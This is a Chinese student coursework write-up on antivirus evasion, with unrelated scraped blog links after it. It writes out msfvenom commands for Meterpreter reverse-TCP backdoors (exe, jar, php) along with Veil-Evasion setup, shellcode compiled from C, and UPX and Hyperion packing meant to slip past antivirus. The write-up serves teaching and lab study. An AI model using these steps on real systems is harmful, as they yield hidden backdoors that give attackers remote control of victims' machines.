2018-2019-2 网络对抗技术 20165332 Exp3 免杀原理与实践

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
使用msf编码器生成各种后门程序及检测
使用veil-evasion生成后门程序及检测
半手工注入Shellcode并执行
任务二:通过组合应用各种技术实现恶意代码免杀
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

免杀基础问题回答

1、杀软是如何检测出恶意代码的?
是基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)。
是启发式恶意软件检测(很简单,就是根据些片面特征去推断,也就是进行检测,当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
是基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。
2、免杀是做什么?
防止被杀软检测出来
3、免杀的基本方法有哪些?
改变特征码 比如注入shellcode,加壳。
自己手写恶意代码避开易被查杀的特征码 制作恶意软件。

实践总结与体会

通过本次实验,我了解到了免杀的概念、免杀的方法,熟练掌握了使用 VirusTotal、Virscan这些工具的方法,能够有条理、有目的的对后门动手实现一些免杀的处理,再一次温习了实验二中主机之间监听、控制的操作,加深了印象,总之,经过这次实练自己的动手能力和对知识的理解程度有了一定的提升。

离实战还缺些什么技术或步骤?

感觉自己现在也只是会参考其他同学的博客,看看别人怎么实现了免杀自己再按照那个方向试试,但是缺乏自己的想法,真正的实战肯定是要啃难啃的骨头,别热嚼碎了的东西肯定是没有太大价值的,我觉得自己要是想真正具备上战场的能力,还是要多查询资料,多动脑。此外,虽然程序能够实现免杀,但如何让被控主机运行它也是一个问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习,我觉得这也是自己离实战缺乏的技术。

开始实验

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,生成exe文件

在实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
在使用Virscan网站时,如果文件名中有数字就会出现以下错误,需要改名

改名过后Virscan网站的扫描结果如下:

由此可见不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

1.十次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.155 LPORT=5332 -f exe > msf5332.exe

将编码十次后的可执行文件上传到Virscan扫描后结果如下:


可见多次编码对免杀没有太大的效果。

2. msfvenom生成jar文件

生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5332 x> msf5332.jar
生成文件如下所示:

扫描结果如下:

3. msfvenom生成php文件

生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5332 x> msf5332.php
生成文件如下所示:

扫描结果如下:

4. 使用veil-evasion生成后门程序及检测

安装veil

mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
用sudo apt-get install veil-evasion命令安装Veil

之后用veil打开veil,输入y继续安装直至完成,输入veil指令,会出现下面这个界面:

用use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP,命令为:set LHOST 192.168.1.155,注意此处的IP是KaliIP;
设置端口,命令为:set LPORT 5332

输入generate生成文件,接着输入你想要playload的名字:veil_c_5332

检测一下:


还是一样的会被检查出来。

5. 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5332 -f c用c语言生成一段shellcode;

创建一个文件20165332.c,然后将unsigned char buf[]赋值到其中,代码如下:

使用命令:i686-w64-mingw32-g++ 20165332.c -o 20165332.exe编译这个.c文件为可执行文件;

检测结果如下图:

6.加壳尝试一下

  • 使用压缩壳(UPX)

给之前的20165332.exe加个壳得到yyz_upxed.exe:

因为要回连,我将yyz_upxed.exe放到了ncat文件夹里面方便操作,查看连接情况,可以反弹连接

检测结果:

  • 加密壳Hyperion
    将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    进入目录/usr/share/windows-binaries/hyperion/中
    输入命令wine hyperion.exe -v yyz_upxed.exe yyz_upxed_Hyperion.exe进行加壳:



    尝试一下反弹连接:

检查结果:

任务二:通过组合应用各种技术实现恶意代码免杀

通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
任务成功截图:

2018-2019-2 网络对抗技术 20165332 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. mysql 使用如下三种方式应用where条件,从好到坏

    在索引中使用where条件过滤不匹配的记录,这是在存储引擎层完成的: ​使用索引覆盖扫描(explain语句中的Extra列中出现Using index)来返回记录.直接从索引中过滤掉不需要的记录并返 ...

  2. MyBatis DAO层传递参数到mapping.xml 几种方式

    Dao层传递参数到mapping.xml文件的几种方式:(Mybatis传值总结) 第一种:传递单个参数 Dao层Code片段: /** * 根据articleId查询XXXX详情. * * @par ...

  3. Eclipse Tomcat插件的使用

    目录 Eclipse Tomcat插件的使用 Eclipse Tomcat插件的使用 我使用的Eclipse版本是:4.6.3 Eclipse已经自带Tomcat插件,不需要再自己进行安装 1.新建T ...

  4. Benefits of Using the Spring Framework Dependency Injection 依赖注入 控制反转

    小结: 1. Dependency Injection is merely one concrete example of Inversion of Control. 依赖注入是仅仅是控制反转的一个具 ...

  5. python中的下划线(私有变量)

    Python用下划线作为变量前缀和后缀指定特殊变量. - "单下划线" 开始的成员变量叫做保护变量,意思是只有类对象和子类对象自己能访问到这些变量:不能用"from xx ...

  6. PAT 1080 Graduate Admission[排序][难]

    1080 Graduate Admission(30 分) It is said that in 2011, there are about 100 graduate schools ready to ...

  7. 单机部署PXC

    在一台机器上安装PXC Linux:centos 7     IP:192.168.30.221 PXC版本:Percona-XtraDB-Cluster-5.7.17-rel13-29.20.3.L ...

  8. 前端基础(JavaScript)2

    3.2 Array对象 3.2.1 数组创建 创建数组的三种方式: 创建方式1: var arrname = [元素0,元素1,….]; // var arr=[1,2,3]; 创建方式2: var ...

  9. 安装memcached扩展 验证过了可行

    . 安装libmemached 复制代码 代码如下: wget https://launchpad.net/libmemcached/1.0/1.0.16/+download/libmemcached ...

  10. vgg_face人脸识别

    最近参考http://blog.csdn.net/hlx371240/article/details/51388022一文,用LFW数据集对vgg_face.caffemodel进行fine-tune ...